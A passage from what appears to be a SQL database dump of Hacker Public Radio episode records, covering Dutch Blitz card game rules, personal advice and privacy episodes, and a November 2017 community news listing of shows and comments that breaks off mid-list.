one.</p>\r\n</li>\r\n<li>\r\n<p>Wood Pile - During game play, the player rotates through their deck\r\nby taking 3 cards, face down, and turning them face up and placing\r\nthem on the Wood pile. The top most card is available to be played.</p>\r\n</li>\r\n<li>\r\n<p>Dutch Piles - During game play, players can start a Dutch pile when\r\nthey have a playable card with the number 1 on it. These piles are\r\nplaced in the middle of the table. The piles can then be built up,\r\nin sequential order and of matching color. Any player can play a\r\ncard on any Dutch pile.</p>\r\n</li>\r\n</ul>\r\n<h3><a id=\"Game_Play_57\"></a>Game Play</h3>\r\n<p>The game is played in rounds. The players do not take turns. When play\r\nstarts, all players begin playing at the same time as fast as they\r\ncan. When a player is able to clear their Blitz pile, they shout the\r\nword “Blitz” and all play must then stop. That is the end of the\r\nround.</p>\r\n<h3><a id=\"Points_65\"></a>Points</h3>\r\n<p>When the round ends all of the cards that have been played on the\r\nDutch piles are sorted into their representative decks. Each player\r\ncounts the number of cards that they have played and then subtracts\r\ntwo times the number of cards left on their Blitz pile. That is their\r\nscore for the round.</p>\r\n<p>In order to maximize one’s points for a round, the objectives are\r\ntwo-fold. You want to play as many cards as possible on the Dutch\r\npiles, but you also want to get rid of as many cards on your Blitz\r\npile as possible.</p>\r\n<h3><a id=\"References_78\"></a>References</h3>\r\n<ul>\r\n<li><a href=\"https://www.dutchblitz.com/\">https://www.dutchblitz.com/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Dutch_Blitz\">https://en.wikipedia.org/wiki/Dutch_Blitz</a></li>\r\n<li><a href=\"https://www.instructables.com/id/How-to-Play-Dutch-Blitz-aka-Nerts/\">https://www.instructables.com/id/How-to-Play-Dutch-Blitz-aka-Nerts/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Nertz\">https://en.wikipedia.org/wiki/Nertz</a></li>\r\n<li><a href=\"https://www.amazon.com/Dutch-Blitz-201/dp/B000BBU0KS\">https://www.amazon.com/Dutch-Blitz-201/dp/B000BBU0KS</a></li>\r\n</ul>\r\n\r\n</body></html>',334,95,1,'CC-BY-SA','tabletop, game, german, culture',0,0,1),
(2179,'2016-12-08','Mail to myself@myfirstemployment, Part 1',844,'I expand on a list of one-liner advice to myself 20 years ago, that I posted on pump.io.','<p>Follow along with the bullet points here: <a href=\"https://microca.st/clacke/note/-E504SciT-epLIWpdBifMA\">Mail to myself@myfirstemployment</a></p>\r\n<p>The original was a comment in Swedish to a question on an evil, centralized, proprietary social network: <a href=\"https://m.facebook.com/comment/replies/?ctoken=1186539121395158_1186910811357989&amp;actor_id=553958720&amp;ft_ent_identifier=1186539121395158&amp;gfid=AQB7s_8oMnIjltwx\">Kodapor -- Vilket arbetssätt-relaterat tips skulle du ge dig själv ...</a>.</p>\r\n<p>Maybe this should be part of a series \"Advice to a Young Hacker\"?</p>\r\n',311,0,0,'CC-BY-SA','advice,work,post',0,0,1),
(2182,'2016-12-13','why say GNU/Linux ?',460,'Dedicated to all the people that says Linux instead of GNU/Linux','<p>Stop saying Linux or open source or FOSS or FLOSS !!1!</p>',344,0,1,'CC-BY-SA','GNU/Linux,Linux,open source,FOSS,FLOSS',0,0,1),
(2180,'2016-12-09','Mail to myself@myfirstemployment, Part 2 of 2',501,'I expand on a list of one-liner advice to myself 20 years ago, that I posted on pump.io. Part 2 of 2','<p>Continuation of yesterday\'s <a href=\"https://hackerpublicradio.org/eps.php?id=2179\">hpr2179 :: Mail to myself@myfirstemployment, Part 1</a>.</p>\r\n<p>Follow along with the bullet points here: <a href=\"https://microca.st/clacke/note/-E504SciT-epLIWpdBifMA\">Mail to myself@myfirstemployment</a></p>\r\n<p>The original was a comment in Swedish to a question on an evil, centralized, proprietary social network: <a href=\"https://m.facebook.com/comment/replies/?ctoken=1186539121395158_1186910811357989&amp;actor_id=553958720&amp;ft_ent_identifier=1186539121395158&amp;gfid=AQB7s_8oMnIjltwx\">Kodapor -- Vilket arbetssätt-relaterat tips skulle du ge dig själv ...</a>.</p>\r\n',311,0,0,'CC-BY-SA','advice,programming,job',0,0,1),
(2183,'2016-12-14','Data Privacy: Farlands or bust',895,'Conversation in response to comments about my last Episode called \"Google It\"','<p>Thanks to everyone for the emails and the opinion on the \"Google It\" episode.</p>\r\n<p>I received a lot of emails and comments on my first episode. No one stated they disagreed with me on the opinion I was expressing but changed the conversation to be about their own privacy issues they have with Google\'s practices.</p>\r\n<p>I wasn\'t dismissing those who feel Google overreaches in the privacy department. I was stating the fact that they are a very successful company <em>DESPITE</em> a lot of Tech writers and podcasters out here stating they aren\'t. You can argue the privacy points all you want but the fact is all I was stating was they are successful.</p>\r\n<p>So with that said I weigh in on Privacy and how I see it. Disagree? let me know!</p>\r\n<p>People I mentioned in the podcast:</p>\r\n<ul>\r\n<li><a href=\"https://plus.google.com/u/0/+JoeHecht/posts\">Joe C. Hecht G+ Profile</a></li>\r\n<li><a href=\"https://www.podnutz.com\">Podnutz Podcasts</a></li>\r\n<li><a href=\"https://plus.google.com/u/0/+Doortodoorgeek/posts\">\"Door2DoorGeek\" Stephen McLaughlin G+ profile</a></li>\r\n<li>Seth \"SkookieSprite\" Barkan,  <a href=\"https://www.bestlinuxgames.com/\">Best Linux Games Podcast</a></li>\r\n</ul>\r\n',346,0,1,'CC-BY-SA','Google',0,0,1),
(2436,'2017-12-04','HPR Community News for November 2017',5241,'HPR Volunteers talk about shows released and comments posted in November 2017','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2413\" target=\"_blank\">2413</a></strong></td>\n    <td>Wed</td>\n    <td>2017-11-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2413\" target=\"_blank\">personal health care</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=330\" target=\"_blank\">Bitbox</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2414\" target=\"_blank\">2414</a></strong></td>\n    <td>Thu</td>\n    <td>2017-11-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2414\" target=\"_blank\">What\'s in my ham shack, part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2415\" target=\"_blank\">2415</a></strong></td>\n    <td>Fri</td>\n    <td>2017-11-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2415\" target=\"_blank\">bullet journal to org mode</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2416\" target=\"_blank\">2416</a></strong></td>\n    <td>Mon</td>\n    <td>2017-11-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2416\" target=\"_blank\">HPR Community News for October 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2417\" target=\"_blank\">2417</a></strong></td>\n    <td>Tue</td>\n    <td>2017-11-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2417\" target=\"_blank\">Transmeta Crusoe - Fujitsu-Siemens Futro S210 (ThinClient) - Trouble Shooting and Debian 9 Install</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2418\" target=\"_blank\">2418</a></strong></td>\n    <td>Wed</td>\n    <td>2017-11-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2418\" target=\"_blank\">What\'s in my ham shack, part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2419\" target=\"_blank\">2419</a></strong></td>\n    <td>Thu</td>\n    <td>2017-11-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2419\" target=\"_blank\">Alien Brothers Podcast S1E01 - Introduction</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2420\" target=\"_blank\">2420</a></strong></td>\n    <td>Fri</td>\n    <td>2017-11-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2420\" target=\"_blank\">Netbooks - Keeping an old friend alive</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2421\" target=\"_blank\">2421</a></strong></td>\n    <td>Mon</td>\n    <td>2017-11-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2421\" target=\"_blank\">Project Interest</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2422\" target=\"_blank\">2422</a></strong></td>\n    <td>Tue</td>\n    <td>2017-11-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2422\" target=\"_blank\">Kickstarter Post Mortem</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2423\" target=\"_blank\">2423</a></strong></td>\n    <td>Wed</td>\n    <td>2017-11-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2423\" target=\"_blank\">Open Source Gaming #2: Oolite</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2424\" target=\"_blank\">2424</a></strong></td>\n    <td>Thu</td>\n    <td>2017-11-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2424\" target=\"_blank\">Interface Zero RPG Play</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2425\" target=\"_blank\">2425</a></strong></td>\n    <td>Fri</td>\n    <td>2017-11-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2425\" target=\"_blank\">Intro to XSL</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2426\" target=\"_blank\">2426</a></strong></td>\n    <td>Mon</td>\n    <td>2017-11-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2426\" target=\"_blank\">Let\'s Talk About Addiction</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2427\" target=\"_blank\">2427</a></strong></td>\n    <td>Tue</td>\n    <td>2017-11-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2427\" target=\"_blank\">Server Basics 101</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2428\" target=\"_blank\">2428</a></strong></td>\n    <td>Wed</td>\n    <td>2017-11-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2428\" target=\"_blank\">git Blobs</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2429\" target=\"_blank\">2429</a></strong></td>\n    <td>Thu</td>\n    <td>2017-11-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2429\" target=\"_blank\">Interface Zero RPG Play</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2430\" target=\"_blank\">2430</a></strong></td>\n    <td>Fri</td>\n    <td>2017-11-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2430\" target=\"_blank\">Scanning books</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2431\" target=\"_blank\">2431</a></strong></td>\n    <td>Mon</td>\n    <td>2017-11-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2431\" target=\"_blank\">Information Underground: Local Control</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2432\" target=\"_blank\">2432</a></strong></td>\n    <td>Tue</td>\n    <td>2017-11-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2432\" target=\"_blank\">Living with the Nokia 6 – an update to HPR 2405</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2433\" target=\"_blank\">2433</a></strong></td>\n    <td>Wed</td>\n    <td>2017-11-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2433\" target=\"_blank\">You were right, I was wrong</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2434\" target=\"_blank\">2434</a></strong></td>\n    <td>Thu</td>\n    <td>2017-11-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2434\" target=\"_blank\">Cybrosis</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 44 comments in total.</p>\n<p>There are 18 comments on\n9 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2376#comments\" target=\"_blank\">hpr2376</a></strong>\n(2017-09-11) \"<em>Information Underground: 21st Century Superstar</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=73\" target=\"_blank\">deepgeek</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2376#4\" target=\"_blank\">Comment 4</a>:\nKlaatu on 2017-11-07:\n\"re: Me Too\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2378#comments\" target=\"_blank\">hpr2378</a></strong>\n(2017-09-13) \"<em>Why Docbook?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2378#9\" target=\"_blank\">Comment 9</a>:\nKlaatu on 2017-11-06:\n\"KWNPSA\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2387#comments\" target=\"_blank\">hpr2387</a></strong>\n(2017-09-26) \"<em>Free Weights and a Bicycle</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2387#1\" target=\"_blank\">Comment 1</a>:\nbjb on 2017-11-07:\n\"5BX and 10BX, memory lane\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2393#comments\" target=\"_blank\">hpr2393</a></strong>\n(2017-10-04) \"<em>PWGen - A password generator</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2393#1\" target=\"_blank\">Comment 1</a>:\nAaron on 2017-11-06:\n\"Haystack password\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2395#comments\" target=\"_blank\">hpr2395</a></strong>\n(2017-10-06) \"<em>Obamacare</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2395#1\" target=\"_blank\">Comment 1</a>:\nbjb on 2017-11-07:\n\"thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2399#comments\" target=\"_blank\">hpr2399</a></strong>\n(2017-10-12) \"<em>Using Super Glue to create Landmarks on Keyboards</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2399#4\" target=\"_blank\">Comment 4</a>:\ndodddummy on 2017-10-31:\n\"Accessibility\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2399#5\" target=\"_blank\">Comment 5</a>:\ndodddummy on 2017-11-06:\n\"Replying to comments from community episode\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2399#6\" target=\"_blank\">Comment 6</a>:\ndodddummy on 2017-11-13:\n\"ctrl vs fn keys\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2411#comments\" target=\"_blank\">hpr2411</a></strong>\n(2017-10-30) \"<em>Information Underground: Co-op Paradise</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2411#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2017-11-03:\n\"Fascinating\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2411#2\" target=\"_blank\">Comment 2</a>:\nShane Shennan on 2017-11-04:\n\"Well done!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2411#3\" target=\"_blank\">Comment 3</a>:\nbjb on 2017-11-07:\n\"indie hosting\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2411#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2017-11-07:\n\"Tell me how\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2411#5\" target=\"_blank\">Comment 5</a>:\nsilver on 2017-11-26:\n\"Alternate web server.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2412#comments\" target=\"_blank\">hpr2412</a></strong>\n(2017-10-31) \"<em>The Call of Cthulhu</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2412#1\" target=\"_blank\">Comment 1</a>:\nFrankBell on 2017-11-03:\n\"Lovecraft\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2412#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2017-11-03:\n\"Agreeing with Frank\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2412#3\" target=\"_blank\">Comment 3</a>:\ndodddummy on 2017-11-06:\n\"Is there a link to the audio you listened to?\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2412#4\" target=\"_blank\">Comment 4</a>:\nel Mussol on 2017-11-08:\n\"file unavailable\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=406#comments\" target=\"_blank\">hpr406</a></strong>\n(2009-07-21) \"<em>Moonshine</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=406#1\" target=\"_blank\">Comment 1</a>:\ncobra2 on 2017-11-25:\n\"shownotes\"</li></ul><br/>\n</li></ul>\n<p>There are 26 comments on 15 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2413#comments\" target=\"_blank\">hpr2413</a></strong>\n(2017-11-01) \"<em>personal health care</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=330\" target=\"_blank\">Bitbox</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2413#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2017-12-02:\n\"Fear and Cold Turkey\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2413#2\" target=\"_blank\">Comment 2</a>:\nShane Shennan on 2017-12-02:\n\"All the best!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2415#comments\" target=\"_blank\">hpr2415</a></strong>\n(2017-11-03) \"<em>bullet journal to org mode</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2415#1\" target=\"_blank\">Comment 1</a>:\ncroy on 2017-12-02:\n\"You big tease!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2415#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2017-12-02:\n\"org-mode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2416#comments\" target=\"_blank\">hpr2416</a></strong>\n(2017-11-06) \"<em>HPR Community News for October 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2416#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2017-12-02:\n\"Straight through cable\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2416#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-12-02:\n\"Re: Straight through cable\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2416#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2017-12-02:\n\"Did a correction show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2417#comments\" target=\"_blank\">hpr2417</a></strong>\n(2017-11-07) \"<em>Transmeta Crusoe - Fujitsu-Siemens Futro S210 (ThinClient) - Trouble Shooting and Debian 9 Install</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2417#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2017-12-02:\n\"First I&#39;ve ever heard of this\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2417#2\" target=\"_blank\">Comment 2</a>:\ndrrty on 2017-12-02:\n\"wow\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2418#comments\" target=\"_blank\">hpr2418</a></strong>\n(2017-11-08) \"<em>What\'s in my ham shack, part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2418#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2017-12-02:\n\"great infos\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2419#comments\" target=\"_blank\">hpr2419</a></strong>\n(2017-11-09) \"<em>Alien Brothers Podcast S1E01 - Introduction</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2419#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2017-12-02:\n\"shows like these\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2420#comments\" target=\"_blank\">hpr2420</a></strong>\n(2017-11-10) \"<em>Netbooks - Keeping an old friend alive</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2420#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2017-12-02:\n\"Would love to hear you on librivox\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2421#comments\" target=\"_blank\">hpr2421</a></strong>\n(2017-11-13) \"<em>Project Interest</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2421#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2017-12-02:\n\"attention\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2421#2\" target=\"_blank\">Comment 2</a>:\nlostnbronx on 2017-12-02:\n\"Popular Kids\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2423#comments\" target=\"_blank\">hpr2423</a></strong>\n(2017-11-15) \"<em>Open Source Gaming #2: Oolite</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2423#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2017-12-02:\n\"cool discoveries\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2423#2\" target=\"_blank\">Comment 2</a>:\nlostnbronx on 2017-12-02:\n\"It Must Be Me\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2424#comments\" target=\"_blank\">hpr2424</a></strong>\n(2017-11-16) \"<em>Interface Zero RPG Play</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2424#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2017-12-02:\n\"Wonderful Intro to RPGs!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2425#comments\" target=\"_blank\">hpr2425</a></strong>\n(2017-11-17) \"<em>Intro to XSL</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2425#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2017-12-02:\n\"This was really interesting\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2425#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2017-12-02:\n\"Re: This was really interesting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2427#comments\" target=\"_blank\">hpr2427</a></strong>\n(2017-11-21) \"<em>Server Basics 101</em>\"\nby <a 